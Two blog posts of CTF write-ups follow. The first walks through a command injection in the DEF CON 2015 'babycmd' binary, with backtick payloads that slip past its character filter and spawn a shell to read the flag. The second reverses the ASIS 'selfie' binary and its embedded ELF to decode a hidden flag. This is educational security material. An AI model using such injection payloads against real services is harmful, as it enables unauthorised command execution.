Thursday, May 28, 2015

DEF CON Qualifier 2015: babycmd - write-up

I worked on this challenge during the "DEF CON Qualifier 2015" as part of a CTF team called seven. This writeup is the result of team effort, as one other team member also participated in solving this task.

The first thing we did was look at the strings (bellow is a truncated listing of strings).
# strings babycmd_3ad28b10e8ab283d7df81795075f600b
Too long, closing.
No address specified.
Invalid IP address.
ping -c 3 -W 3 %s
Command failed.
dig -x %s
Invalid hostname.
dig '%s'
host %s
host "%s"

The dig and host commands seem to use single and double quotations to escape parameters. We immediately try a few IP's with exploits - but with no success. Obviously, we have no choice but to disassemble the binary and peek at what is actually going on inside.

It's fairly easy to see that each command (ping, host, dig) has its own subroutine and it's own command string that is being dynamically built and sent to the shell. However, it seems only the host name-type parameters are being copied in the command string, the IP's are converted with inet functions and are thus not exploitable.
The ping command does not allow a host name to be defined, so it is obviously of no use. The only difference between the host and dig commands is that dig escapes the host name with a single quotation mark, and the host command with a double quotation mark. A rough dissassembly of the host command is shown bellow.

host_cmd(long input)
{  
  if ( input )
  {
    if ( (unsigned int)some_type_of_check(input, (long)&cp) )
    {
      if ( inet_aton(&cp, &ip_converted) )
      {
        ip_bin = (long)inet_ntoa(ip_converted);
        __sprintf_chk((long)&command, 1LL, 384LL, (long)"host %s", ip_bin);
      }
      else
      {
        if ( !(unsigned int)some_other_check((long)&cp) )
        {
          puts("Invalid hostname.");
          return ;
        }
        __sprintf_chk((long)&command, 1LL, 384LL, (long)"host \"%s\"", (long)&cp);
      }
      file_handler = popen(&command, "r");
      if ( file_handler )
      {
        while ( fgets(&s, 512, file_handler) )
          __printf_chk(1LL, &s);
        pclose(file_handler);
      }
      else
      {
        puts("Command failed.");
      }
    }
    else
    {
      puts("Invalid Host or IP address sent to dig.");
    }
  }
  else
  {
    puts("No address specified.");
  }
  return ;
}

Looking at the dissasembly of other commands, we see that they all use two functions to check the user input for invalid characters: some_type_of_check, some_other_check. Looking at the first function, it is obvious that it the following characters are being filtered:

!
#
&
'
*
|

Since we cannot use the single quote, obviously the dig command is out of the question. What is left is the host command which uses double quotation marks. We didn't have time to analyse the second function in more detail, but it is obvious that it removes the space character, which should make it hard to craft any meaningful shell commands. But, we're getting ahead of ourselves - first, a way to inject the shell commands needs to be found!  :)

# ./babycmd_3ad28b10e8ab283d7df81795075f600b

Welcome to another Baby's First Challenge!
Commands: ping, dig, host, exit
: host aaa.aa$PWD
Host aaa.aa/media/sf_CTFs/DEFCON_quals_2015/babys_first_1_babycmd not found: 3(NXDOMAIN)
Commands: ping, dig, host, exit
: host aaa\\`ls
sh: 1: Syntax error: EOF in backquote substitution
Commands: ping, dig, host, exit
: host aaa\\`ls\\`ls
sh: 1: ls\: not found
Host aaa\ls not found: 3(NXDOMAIN)
Commands: ping, dig, host, exit
: host sfsadf\\`ls`d
host: 'sfsadf\babycmd_3ad28b10e8ab283d7df81795075f600b
babycmd_orig' is not a legal name (label too long)
Commands: ping, dig, host, exit

After trying a few injections strings we hit jackpot! The ls command worked when escaped with `` (back-tick). Since we could not use the space command, obviously we tried opening a shell where we could bash away more freely, so we sent the following injection: host sfsadf\\`bash`d.

(In retrospect, we probably should have paid more attention to the second filter function which just removes space characters - other white space characters are left intact. There are a few more elegant writeups by other teams out there that leveraged the tab character - nice!)

At this point we got a non-responsive shell with no prompt... great.. now what!?!
We tried a bunch of commands and got no response. For kicks, I tried issuing a recursive listing on root, and got something like this (truncated .. the "permissions denied" list was quite long..):

# ls -lR /
ls: /proc/cpuinfo: Permission denied

A-ha! Finally, some output! But why are we only receiving answers when there was an error, and not otherwise? Perhaps the stdout is being piped somewhere else? Lets see...

# ls -al 1>&2
total 92
drwxr-xr-x  22 root root  4096 May 15 10:48 .
drwxr-xr-x  22 root root  4096 May 15 10:48 ..
drwxr-xr-x   2 root root  4096 Apr 19 22:43 bin
drwxr-xr-x   3 root root  4096 Apr 19 22:43 boot
drwxr-xr-x  13 root root  3980 May 15 10:54 dev
drwxr-xr-x  98 root root  4096 May 15 10:55 etc
drwxr-xr-x   4 root root  4096 May 15 10:55 home
lrwxrwxrwx   1 root root    33 Apr 19 22:43 initrd.img -> boot/initrd.img-3.13.0-49-generic
lrwxrwxrwx   1 root root    33 Mar 19 19:26 initrd.img.old -> boot/initrd.img-3.13.0-46-generic
drwxr-xr-x  21 root root  4096 Jan 23 00:40 lib
drwxr-xr-x   2 root root  4096 Mar 19 19:26 lib64
drwx------   2 root root 16384 Jan 23 00:42 lost+found
drwxr-xr-x   2 root root  4096 Jan 23 00:39 media
drwxr-xr-x   2 root root  4096 Apr 10  2014 mnt
drwxr-xr-x   2 root root  4096 Jan 23 00:39 opt
dr-xr-xr-x 118 root root     0 May 15 10:48 proc
drwx------   5 root root  4096 May 17 00:40 root
drwxr-xr-x  22 root root   800 May 17 00:39 run
drwxr-xr-x   2 root root 12288 May 15 10:55 sbin
drwxr-xr-x   2 root root  4096 Jan 23 00:39 srv
dr-xr-xr-x  13 root root     0 May 15 10:48 sys
drwxrwxrwt   2 root root  4096 May 17 16:23 tmp
drwxr-xr-x  10 root root  4096 Jan 23 00:39 usr
drwxr-xr-x  12 root root  4096 Jan 23 00:42 var
lrwxrwxrwx   1 root root    30 Apr 19 22:43 vmlinuz -> boot/vmlinuz-3.13.0-49-generic
lrwxrwxrwx   1 root root    30 Mar 19 19:26 vmlinuz.old -> boot/vmlinuz-3.13.0-46-generic

Yup.. that's it!  :)
Piping stdout to stderr shows the output of any command. After browsing the home folder a bit we notice a file named flag. Let's have a look at the flag for this challenge:

# cat flag 1>&2
The flag is: Pretty easy eh!!~ Now let's try something hArd3r, shallwe??


Sunday, May 24, 2015

ASIS Quals CTF 2015 "Selfie" - practice session write-up

Hi folks!

This is the first of (hopefully!) many posts I like to call "practice write-ups". Wat's dat? Well... while taking pleasure in playing CTF's ans solving challenges, I often find that I don't get to try out every CTF challenge and if I do, I usually just try to solve it as quickly and painlessly as possible to get the flag. So, in an attempt to improve my skills and play around with fun CTF challenges, I decided to start writing these blog posts to share what I learned, and possibly get feedback from others on how to improve.

All good? Excellent!
And now... to the fun part :)




The file can be downloaded from: http://tasks.asis-ctf.ir/selfie_5867d7cda31739aa81dec7b4355b2fab

The only thing we are told on the download site is: 
"Find the flag in this file." :)

..so, not much help there.


First, lets see what we find out about the app without running it!


# file selfie
selfie: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0x5bd0390c80a9727d604eda8d4bddd7af86eff94e, not stripped

# ldd selfie 
 linux-vdso.so.1 =>  (0x00007fff58cee000)
 libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f92257f0000)
 /lib64/ld-linux-x86-64.so.2 (0x00007f9225b97000)

Obviously, we are dealing with a 64-bit ELF which uses shared libs (that actually makes things a lot easier since library code will not be integrated in the binary, and thus easier to read through!).

Another great thing is its not stripped! This means that function names will be preserved (must be Christmas!). ldd gives us the libs that are dynamically loaded - nothing rely of note here (ld needed for dynamic linking, good old libc, and vdso which is another system lib injected into every process by the kernel).

So far so good! Let's take a look at the function list!

# nm selfie 
0000000000600d70 d _DYNAMIC
0000000000600f48 d _GLOBAL_OFFSET_TABLE_
0000000000400be0 R _IO_stdin_used
                 w _ITM_deregisterTMCloneTable
                 w _ITM_registerTMCloneTable
                 w _Jv_RegisterClasses
0000000000400d50 r __FRAME_END__
0000000000600d68 d __JCR_END__
0000000000600d68 d __JCR_LIST__
0000000000600fe0 D __TMC_END__
0000000000600fe0 B __bss_start
0000000000600fd0 D __data_start
00000000004007e0 t __do_global_dtors_aux
0000000000600d60 t __do_global_dtors_aux_fini_array_entry
0000000000600fd8 D __dso_handle
0000000000600d58 t __frame_dummy_init_array_entry
                 w __gmon_start__
0000000000600d60 t __init_array_end
0000000000600d58 t __init_array_start
0000000000400bd0 T __libc_csu_fini
0000000000400b60 T __libc_csu_init
                 U __libc_start_main@@GLIBC_2.2.5
0000000000600fe0 D _edata
0000000000600fe8 B _end
0000000000400bd4 T _fini
0000000000400618 T _init
0000000000400730 T _start
0000000000600fe0 b completed.6661
0000000000600fd0 W data_start
0000000000400760 t deregister_tm_clones
                 U fclose@@GLIBC_2.2.5
                 U fopen@@GLIBC_2.2.5
0000000000400800 t frame_dummy
                 U fread@@GLIBC_2.2.5
                 U fseeko@@GLIBC_2.2.5
                 U ftello@@GLIBC_2.2.5
0000000000400826 T loading
00000000004008a0 T main
                 U malloc@@GLIBC_2.2.5
                 U printf@@GLIBC_2.2.5
                 U putchar@@GLIBC_2.2.5
                 U puts@@GLIBC_2.2.5
00000000004007a0 t register_tm_clones
                 U rewind@@GLIBC_2.2.5
                 U strlen@@GLIBC_2.2.5
                 U usleep@@GLIBC_2.2.5
 

Judging from the blue highlighted functions, the binary is probably going to do some file reading. This made me double check if I didn't miss downloading an additional file from the CTF (turns out I didn't). Interestingly, there seems to be no file writing, just reading! But what is being read?!?! Guess I'll have to disassemble this bad boy to find that one out...the red functions will probably be our targets (notice how the names are nicely preserved).
Note to self: although the frame_dummy function looks suspicious, it actually is not! Its actually a function in every ELF and it is used in the process of loading a program under linux systems. More on the matter can be found on this page.
First, let's start by getting the strings to see if there is anything interesting.

# strings selfie
/lib64/ld-linux-x86-64.so.2
libc.so.6
fopen
puts
putchar
printf
rewind
strlen
fclose
malloc
ftello
usleep
fread
__libc_start_main
fseeko
__gmon_start__
GLIBC_2.2.5
fffff.
-\|/
ASIS{4a2H
cdaf7d77H
165eb3fdH
b70 : i H
am the fH
irst parH
t of flaH
        H
    f
<TuU
<ru>
<yu'
[]A\A]A^A_
[1A%s%c
[1A%s 
%d[%c]
;*3$"

Aha! The flag at last!!1! ..or so it seems. It seems a part of the flag is actually embedded in plaintext somewhere in the binary. Running the binary actually gives us this part of the flag upfront ...


# ./selfie
ASIS{4a2cdaf7d77165eb3fdb70 : i am the first part of flag        

Try harder :)

Hmm... that's odd - I didn't see the "Try harder string" at all in the strings output. Let's try searching the entire file for the "Try harder" string.


# strings -a selfie | grep Try
Try harder :)

Ok... so obviously its somewhere in the binary, just not in the initialized and loaded sections of object files. Lets finally go and see what this bad boy does under the hood!

(In retrospect, at this point I had actually made a mistake in not researching the location of the "Try harder" string a bit more because it led me on a wild goose chase - as you will see below)

Using your favorite debugger/disassembler, its easy enough to get the source code of main and loading functions. You can even do a sweet one-liner with GDB:
# gdb -batch -ex 'file selfie' -ex 'disassemble main'

After quite a lot of tinkering and reversing, this is a rough sketch of what the main function looks like:


int main(...usual main stuff...)
{
  argv_pointer = argv;
  ptr_to_alloc_space = 0LL;
  
  size_of_self = 0;
  offset_to_try_harder = 13848;
  
  strcpy(flag_buffer, "ASIS{4a2cdaf7d77165eb3fdb70 : i am the first part of flag\t");
  length_of_flagg_buffer = strlen(flag_buffer);
  
  index = 0;
  putchar(10);
  while ( index < length_of_flagg_buffer )
  {
    current_character = (unsigned __int8)flag_buffer[index];
    a_temp_buffer[index] = current_character;
    a_temp_buffer[index + 1] = 0;
    loading((__int64)a_temp_buffer, (__int64)argv, current_character, probably_dash);
    ++index;
  }
  
  putchar(10);
  
  // gets size of self
  stream_to_self = fopen(*argv, "r");
  fseeko(stream_to_self, 0LL, 2);
  size_of_self = ftello(stream_to_self);
  rewind(stream_to_self);
    
  ptr_to_alloc_space = malloc((signed int)(size_of_self + 1));
  
  count_of_elements_read = fread(ptr_to_alloc_space, 1uLL, (signed int)size_of_self, stream_to_self);
  *((char *)ptr_to_alloc_space + (signed int)size_of_self) = 0;
  
  strcpy(str_14_spaces, "              ");
  str_14_len = strlen(str_14_spaces);
  
  // only invoked when 2 arguments are provided !
  if ( argc == 3 )                              
  {
    for ( i = 0; (signed int)i < (signed int)size_of_self; ++i )
    {
      if ( *((char *)ptr_to_alloc_space + (signed int)i) == 84  // T
        && *((char *)ptr_to_alloc_space + (signed int)i + 1) == 114 // r
        && *((char *)ptr_to_alloc_space + (signed int)i + 2) == 121) // y
        printf("%d[%c]\n", i, *((char *)ptr_to_alloc_space + (signed int)i), argv_pointer);
    }
  }
  
  for ( j = 0; j < str_14_len; ++j )
    str_14_spaces[j] = *((char *)ptr_to_alloc_space + offset_to_try_harder + j);
  
  puts(str_14_spaces);
  
  fclose(stream_to_self);
  return 0;
}

As can be seem, the ELF clearly makes a reference to the "Try harder" string in itself at offset 13848 (0x3618).
It then appears to iterate over the array holding the first part of the flag and calling a the loading function. It the opens a stream to itself and starts reading its own image from the disk (hece the name "selfie" I assume). The reading seems to only be used so that we can get its size on disk.
Another array is initialized with 14 spaces and then iterated over starting from the offset of the "Try harder" string. The only strange thing here is that it does not enter into a conditional IF statement if we did not supply at least two parameters. Running the ELF with two parameters just prints the offset of the "Try harder" string and its first letter. The parameters themselves do not seem to be used at all, and thus irrelevant.

When I first started to analyze this ELF I assumed it would end in having to modify some part of the binary so that it could be correctly decoded and thus show the second part of the flag. I though maybe providing a meaningful set of parameters was the trick. However, after looking at the main function, it really does not hold any sort of encoding/decoding routine, just a bunch of iterating over initialized arrays.

All is not lost! We still have the loading function - this is where true magic obviously begins!!1!

int loading(a_temp_buffer, argv, current_character, probably_dash)
{
  for ( i = 0; i <= 7; ++i )  // just the irritating prints loader thingy...
  {
    int some_huge_num = 796679213;
    printf("\x1B[1A%s%c\n",
      a_temp_buffer,
      *((char *)&some_huge_num
      + (signed int)(((((unsigned int)((unsigned __int64)i >> 32) >> 30) + (char)i) & 3)
                   - ((unsigned int)((unsigned __int64)i >> 32) >> 30))));
    usleep(0x124F8u); // sleep for 75000 microseconds
  }
  return printf("\x1B[1A%s \n", a_temp_buffer, current_character, probably_dash);
}

The red part certainly looks like some decoding routine... however, after a bit of debugging, it becomes obvious that this is just a routine that makes the "loader" thingy rotate. If you started the ELF, you noticed it takes a while for it to "load". The obvious function to blame for this is usleep! Searching for the value 0x124F8 in your favorite hex editor (watch out for endian-stuff!) makes it easy to make the delay a bit shorter by changing it to something smaller.

Still... it does not really bring us closer to the second part of the flag! :(
At this point I started looked closer at the location where the "Try  harder" string was in the ELF and noticed it was surround with more "stuff".


The "GCC: Debian..." stuff seems to be legitimate "ELF stuff" (I'm not one of those guys that know the ELF format by heart, but I remember seeing it in other challenges). After searching the "GCC Debian" string, it seems to appear twice (the first time near the begging of the ELF)! Now that does in fact look strange - why does this sequence repeat, and why is it also near the header?

Scrolling a bit further up from the "Try harder" string there seems to be more header specific stuff, and (at last the smoking gun!) something that appears to be the start of an ELF... but wait, we are nowhere near the beginning of the ELF (at 0x2300 to be precise), why is there another header here???


Obviously, this is an embedded ELF! I quickly extracted the ELF and began searching for additional embedded ELF's (fool me once ...). After a few tries, it would appear as though this was the only one in there. In retrospect... I should have noticed the location of the "Try harder" string sooner. Also, the size of the selfie ELF is a bit to large for such a simple app (around 19KB).

Running file, strings, ldd, nm on the new ELF nothing special other than the fact that it is retrieving the current time (via time function) and that it has a main function and a function named sitoor. I started with the good-old main function.


int main(..the usual...)
{
  counter_190 = 0xBE;
  pointer_to_buffer = initialized_buffer;

  while ( counter_190 )
  {
    *(_QWORD *)pointer_to_buffer = *(_QWORD *)pointer_to_some_buffer;
    pointer_to_some_buffer += 8LL;
    pointer_to_buffer += 8;
    --counter_190;
  }

  *(_WORD *)pointer_to_buffer = *(_WORD *)pointer_to_some_buffer;
  current_timestamp = (unsigned int)time(0LL);

  sitoor(current_timestamp);

  printf("%lu %lu\n ", g_r, current_timestamp - g_r * g_r);

  time_gr_sqare = current_timestamp - g_r * g_r;
  some_calculation_result = (unsigned __int64)((g_r - ((signed int)current_timestamp - (signed int)g_r * (signed int)g_r)) / 2) - 49;
  printf("%d\n", some_calculation_result);

  if ( 3013 * g_r == 3286 * time_gr_sqare + 5 )
  {
    for ( i = 0; (signed int)i < (signed int)some_calculation_result; ++i )
    {
      if ( !(unsigned int)sitoor((signed int)i) )
        putchar(initialized_buffer[i + 1]);
    }
  }
  else
  {
    dest = 0LL;
    dest = (char *)malloc(1394uLL);
    strcpy(dest, hidden);
  }

  return 0;
}

Finally, some nice math!  :)
It seems the ELF is getting the current time and doing a bunch of calculations and printing (or not printing) a series of characters from an initialized buffer. As can be seen from the line bellow, the buffer is located at offset 0x980 within the binary.


0000000000400705    mov     edx, 0x0000000000400980


Looking at the blue while loop in main, it seems that the buffer is located from 0x980 to 0x5F0 (0xBE times 8). Using a hex editor, I just extracted that buffer and began looking for signs of a flag. Unfortunately, the buffer seems to be jumbled up quite a bit, so I couldn't really see anything flag-like.

At that point I started looking at the last remaining thing there is - the sitoor function. It appears to take the timestamp and do some wild math operations to calculate the offset within the buffer.
Excelent! That look like the decoding function I was looking for!!1! :)
I opened up my editor and started experimenting with the buffer and the sitoor function. After a bit of trial and error, it becomes apparent that the purple code in main does not actually do anything, so i discarded it. What remained can be seen bellow.


#include "stdafx.h"
#include "string.h"

signed long g_r; 

long sitoor(signed long curr_timestamp)
{
  long result; 
  signed int i; 
  long double tmp_var; 

  if ( curr_timestamp * curr_timestamp == curr_timestamp )
  {
    result = 0LL;
  }
  else
  {
    tmp_var = (long double)(curr_timestamp / 2);
    for ( i = 0; i < 1000; ++i )
      tmp_var = (tmp_var * tmp_var + (long double)curr_timestamp) / (tmp_var + tmp_var);
    g_r = (signed long)tmp_var;
    result = 0.0 != tmp_var - (long double)(signed long)tmp_var;
  }
  return result;
}

int _tmain(int argc, _TCHAR* argv[])
{
 long i;
 const char buff[] = "\x93\x74\x68\xb2\x47\x65\x64\x00\xd9\xee\x20\xb5\x9a\x55\xe4\x62\x75\x73\xec\x1e\xa5\xfa\x8d\x2d\x9c\x96\x65\x68\x26\x3d\x81\x59\x10\x0f\x91\xaa\x95\x63\x86\xc3\xc0\x3c\xc7\x11\x57\xd9\x92\xad\x9b\x73\x6f\xf6\xff\xf4\x7b\x57\x1b\xfe\x5a\x18\xa6\xc2\xfb\x7e\x17\x64\xd3\x4e\xbe\x39\x2a\x0d\xe9\x1d\x35\xda\xc4\x03\xab\xa6\x58\x08\x6e\x1d\x73\xa1\xd4\xb0\xe7\x7a\x0b\xf0\x2c\xa7\x57\x56\x35\xec\xcb\xad\xe8\x20\x97\x8e\xf3\xf1\x28\x60\x42\x5c\x13\xfc\x3e\x5e\x89\x1d\x72\x14\xc7\xb8\xc0\x4a\x70\xf1\x2b\x50\x8f\x14\x3a\xfe\xb3\x42\xfc\x37\x3c\x66\x81\xf0\x74\xbf\x65\x63\xd3\xdf\xea\x61\x6d\xe9\x37\xaf\xd1\x35\x31\x51\x52\xd7\x9c\x26\x7e\xc5\xb3\x64\x40\xbe\x11\xb4\x14\xe9\x8a\x3e\x72\x50\x2b\x57\x83\xda\x8a\xe2\xc4\x9f\x46\xc4\x2b\xb6\xaa\x22\xbd\x7f\xc3\x89\x07\xe4\xd0\x79\xef\xc4\x3e\x74\xbf\x4c\xd3\x78\x93\x61\x93\x6b\xd3\x90\xd5\x6a\xad\x81\x80\xd4\x8d\xdd\xc2\x09\xf9\x64\xe8\x3a\xba\x6e\x12\xda\x20\x53\xcf\x78\xac\x94\xf4\xdb\x00\xdf\x33\x10\x25\xb0\x9c\x05\xdd\x63\x72\x7a\x99\x8f\x4b\xac\xee\x56\x18\x98\xc2\x12\xd2\x6f\x87\x7a\x7b\xdd\xb3\xff\x76\x77\x0c\x64\x30\x4c\x3d\x10\x6e\xa3\xac\x8c\x4f\x5e\xa6\x01\x4d\x42\x6f\x98\xb7\xad\x96\xee\xc0\x8b\x66\xd9\xf0\xf9\xf0\x5e\x29\x96\xac\x8f\x91\xa3\x3a\xf7\x0b\xac\x03\x4c\x74\x67\x71\xf5\x4c\x48\x3f\x8d\x2f\xc1\xc3\xcc\x81\xa7\xb6\x7c\xe3\x20\x48\x7b\xc4\x44\xda\x76\xf3\xcf\xfb\x9e\x57\x71\x81\x8b\x97\x2d\x49\xef\xcf\xb0\xf4\x2a\x09\x69\x7d\x31\x9b\x08\x9d\x2f\x3c\x9e\x68\x47\x2a\x60\x66\xd0\x91\xb0\x55\x5f\x9f\x4c\x8d\x84\xf0\x71\x4c\x7a\x27\x6e\x16\xe1\x56\x30\x11\x8f\x16\x94\x92\x83\x42\x98\x6d\x18\x4c\x3a\x1a\xd5\x8b\x50\x6d\x9c\x0c\x6c\xb2\x8a\x85\x9b\x50\x0c\x60\x78\x3e\xcb\xca\xd8\x88\x9c\xa5\x1d\x9f\x4a\x83\xff\x9e\xac\x37\xc2\x84\xb9\xff\xaa\x0c\x45\x18\xb5\xc9\x0a\x8b\x9e\x69\x07\x53\x39\x61\x9b\x91\x5d\x29\x5c\xfe\x76\x7e\x57\x20\xfd\x2c\xc6\x56\xd0\xd7\x00\x55\xf3\xf6\x22\x4e\x37\x36\x6f\x44\x95\x0f\xa0\x9a\x46\x18\xe3\x50\x9a\x21\x01\xa6\xb1\x1f\x0e\xab\x67\xba\x2d\x6a\xa4\x24\x1c\x9f\xfe\xe4\x6b\x6b\x24\x7f\x6d\xa2\x31\xea\x12\xd5\xa6\x2c\x08\x00\x05\x94\x45\xd9\xe0\x96\x55\x37\xfe\xb0\xf7\x99\xfa\xd1\xed\xdd\xc3\xd8\xc5\xaf\xc4\x20\x47\x8c\x37\xaf\x06\x12\xd1\x64\xab\x1b\x8b\x86\xeb\x47\x07\xdf\xb5\x94\xb2\x0e\x0e\xc1\x5a\xf9\xe0\x11\x26\x34\x8c\x52\x75\x43\xff\xd9\x7c\x1f\xdf\x48\x60\xe8\xf7\x38\x35\xc7\xbc\x72\x69\xbe\x5d\x89\xab\x3b\x1e\x01\x25\x22\x60\x5f\x73\xfa\xc8\x96\x41\xd9\x6b\x11\x53\xa2\x27\x66\x27\x98\x38\xa8\xf7\xce\x28\x41\x7f\x3b\x37\x3c\xc5\x85\xb5\xe8\xaf\x4e\x56\x0a\x62\x8a\xb9\xbb\xec\x73\xe8\x3c\x7a\x7a\x72\x6e\x30\xa8\x01\x44\x0e\x06\x14\x71\x46\xc2\x27\x7e\x13\xa2\x0d\xd3\xa9\x4a\x01\xb8\x22\xe3\x40\x14\xc4\x93\xca\x70\x11\xb0\xdd\x42\xef\x01\x5e\x97\x97\x9b\x4a\xd0\xba\xd1\xd1\x1f\x3a\x47\xe8\x40\x4d\xc1\x17\x28\x85\x53\x48\x34\x47\xe8\x9f\xc3\x9b\x71\x48\x81\x3f\x95\x4b\x0d\x13\x16\xfb\xb6\xc1\x01\x0c\x18\xbd\xdc\x7f\x70\x37\x9a\x16\x8e\xe6\x3e\xcc\x50\x86\x32\x69\x84\xef\xd1\xe4\x44\x69\x20\x43\x43\x3b\xfb\x40\x34\xf4\xdb\x2d\x8a\x0f\xd0\x3e\xf1\x32\x2b\xfa\xd4\x4f\x37\xd8\xd9\x49\x9e\xfd\x03\xff\x45\x41\x30\x92\x9a\x38\xb4\x20\x15\x57\x81\x9b\xca\xff\xe2\x81\x42\x7e\x0f\xee\xb1\x1b\x79\xfa\xe8\xc1\xae\x39\x9a\xac\x45\x0e\xa4\xe4\x3f\x0c\x2d\xaa\x75\x75\xd2\x02\x84\x90\xfc\xe3\x22\x30\x15\xf7\x04\x32\xa3\x0e\x3c\x60\xfe\x1d\xac\x92\xe4\x5b\x7f\x1f\xa4\x6b\xdd\x2b\x1d\xa2\x77\x7e\x76\xad\x18\x2e\xff\x1e\x2e\x7e\xb4\xca\x55\x3a\x33\x56\x8b\x36\x9b\x68\xc1\xa0\xcc\x92\xbc\x1a\x0f\x80\x86\x8d\xda\x8f\x5f\x36\x04\xdb\x78\x9f\x0b\xd4\x15\xca\xb3\x33\x45\x9d\xe2\xde\x75\x05\x2b\x71\xa3\x7c\x06\x2f\x19\xb5\xa2\x14\x0a\x5c\x71\x2a\x7e\x3a\x3c\xb2\x54\x7f\x98\x67\xe6\x61\xaf\x1f\xb4\xc3\xb1\x61\x6b\x86\xd8\xe0\x67\xcc\x91\xb7\xad\xaa\x23\x26\xd8\xa7\x5d\x67\x0e\x16\x98\x0a\x05\xfd\xbb\xbc\x25\x08\x57\x72\x4d\x26\x5f\x42\x2f\x87\xb7\xd0\x29\xbe\xb2\x0f\x8c\xac\xf6\xa0\x78\x6f\xd0\xe7\x98\xb4\x0d\x22\x28\x45\x36\x7e\xc3\x8a\x0c\x62\xfa\xb7\xfb\x1e\x2b\xd5\x06\x78\x3d\x4b\x8e\x49\x35\x8c\x09\x69\x51\x7d\xb4\x42\x61\x16\xc2\xea\x7f\xab\x14\x8b\x2c\x40\x16\xd0\x0e\xaa\xa6\x57\xae\xa3\x68\x4f\xa1\x66\xa0\xde\x44\x42\xfa\xcc\xb4\x94\x4c\xc0\xd1\x3f\x0b\x03\x05\x34\xf0\xc5\xe4\x05\x40\x37\x00\x57\x1a\x05\x27\x34\x70\x19\x75\x96\xb1\xf6\xcb\x01\x87\xf3\xf8\x77\xb9\x78\x13\x18\xda\xeb\x37\x95\xcd\x19\xe7\x53\x7e\xe1\xa4\xe0\x70\xe2\x54\xfc\x72\x82\xe0\xdb\x0c\x3e\x38\x05\x91\x91\xb1\x87\xa4\x3e\xf3\x67\x79\xf0\xce\x67\x31\x8f\x39\x73\xaa\x84\x46\x7b\xcc\xd9\xe4\x4f\xd0\xa4\x1e\xfa\xdc\x53\xc7\x3a\x04\x51\xf7\xf8\x99\xea\x6e\x41\x86\x2c\xc7\x66\x51\x04\xb3\x51\xe2\x45\x9d\xd9\x4a\x15\xf1\xfc\x06\x3f\x40\x5c\xde\x7d\xe4\xb9\x5e\x01\x74\x91\x6d\x76\x7e\xa9\x68\x67\x5c\xcc\x91\xe3\x20\x61\xeb\x79\x53\x1c\x19\x33\xbd\xca\x52\xa0\x81\x76\x6d\x1e\xd5\xe8\x47\xa0\x4d\x60\xdf\xab\x11\xe1\x28\xfe\x22\xd0\xfb\x43\xe5\x45\x66\xa0\xda\xb0\x49\x50\xf1\xa6\x81\x24\xe7\x78\x87\x98\x7c\x83\x18\xd3\xea\xc7\x8c\xea\x5a\xf6\xaa\x4f\xce\xed\xdd\x6c\xc3\x36\x07\x28\xb1\xd9\x39\x21\xed\x04\x15\xfd\x3c\x0c\xac\x13\x1f\x8d\xc1\xf2\xdf\x5e\xac\x59\x39\x71\x8c\x66\xbe\x2e\x5a\x8b\x96\xcf\x59\x62\x93\x7b\xaf\xbd\xcb\x6c\x0b\x5f\x03\x06\x01\x89\xc2\x8b\xfc\xda\xa7\xcc\xfa\x50\xb3\x11\x79\x1a\x7d\xab\x8a\x7f\x0a\x6f\x45\x63\xa7\x85\x98\x76\xdf\x3f\x6e\xb1\x02\x39\x53\x2e\xe7\xe3\x1e\x73\xe8\x55\x10\x8b\x97\xe1\x58\x8b\x77\xa9\xde\x5c\xa8\x74\x82\x5f\x19\xfd\xdf\x51\xb8\xd9\x48\x52\x4d\xa7\x75\x7e\x38\x77\xf8\xd5\x74\x22\x20\x98\xb7\x5e\xcb\x63\xe9\x00\x89\x13\x15\xb7\x24\x6c\xf9\x33\xd8\x0d\x07\x69\x05\xc9\x02\xa9\x25\x00\xe8\x65\xc6\xa3\x82\x25\x61\x6f\x7b\x5a\xaa\x17\x6d\xd9\x2f\xb3\xd5\x5f\xff\xdb\x48\x79\xf1\x0d\xa0\xdd\x57\x24\xb2\xf5\x6d\x8c\x03\xe0\xa0\x69\x77\xb3\xb9\x85\xc6\x3d\xe7\x14\x76\x71\x80\x39\x82\xf7\x94\x6d\x32\xe0\xf0\x99\x21\x0d\x78\xb0\x28\x3a\x74\x80\xd5\xc9\x1e\x44\x3c\x39\x5c\x04\x24\xdb\x9b\x5d\x61\x47\x92\xca\x1d\x7d\x6b\x17\x43\xd7\x0f\x56\x1c\x7d\xd7\x2c\x6e\xc0\xe1\x9a\xb8\x47\x6b\x01\x63\x07\x94\x4e\xd6\x41\x3a\x7e\x97\xa9\xe5\x62\xef\xc9\x8a\xb2\x27\xe6\x2d\x21\x99\x42\x82\xcf\x27\x8c\xb0\xb2\x00\xa1\xd5\x38\x3e\xcd\x82\xfb\xc9\x85\x40\xd7\x50\x6a\x37\xf8\xa4\xe4\x6b\x54\x20\x03\xcc\xde\x6d\xd4\xd4\x06\x76";
 
 g_r = 0;
 for(i = 0; i< 2720713; i++){
  if ( !(unsigned int)sitoor((signed int)i) ){
   printf("%c", buff[i + 1]);
  }
 }
}

As you can see I tried to brute force my way into finding the right timestamp that would decode the buffer correctly (and have thus set the value for i a bit high). Luckily, the correct values are right at the beginning, so by running the above one is presented with the glorious goodness which is the second part of the flag.


the secodn part of flag is: 93a641a99a}

P.S. To be fair, I did not realize that the purple code in main is actually preventing us from getting to the correct values and decoding the buffer. In my first try I embedded  3013 * g_r == 3286 * time_gr_sqare + 5  check before the call to sitoor, which yielded the following (unsuccessful results):


2720713 => the s
67592379 => the secodn par¦
132421600 => the secodn par¦    ?q
218846413 => the secodn par¦    ?q
326866818 => the secodn par¦

Still, it showed me that I was on the right track, and with a bit of trial end error I removed the purple check, which resulted in the flag being reviled.

This was fun!  :)

P.S.S. Here's a cool trick to quickly find out if there is an embedded ELF. As you can see, the standard ELF entry point functions are found twice!


# strings -a selfie | sort | uniq -c | grep main
      2 __libc_start_main
      2 __libc_start_main@@GLIBC_2.2.5
      2 main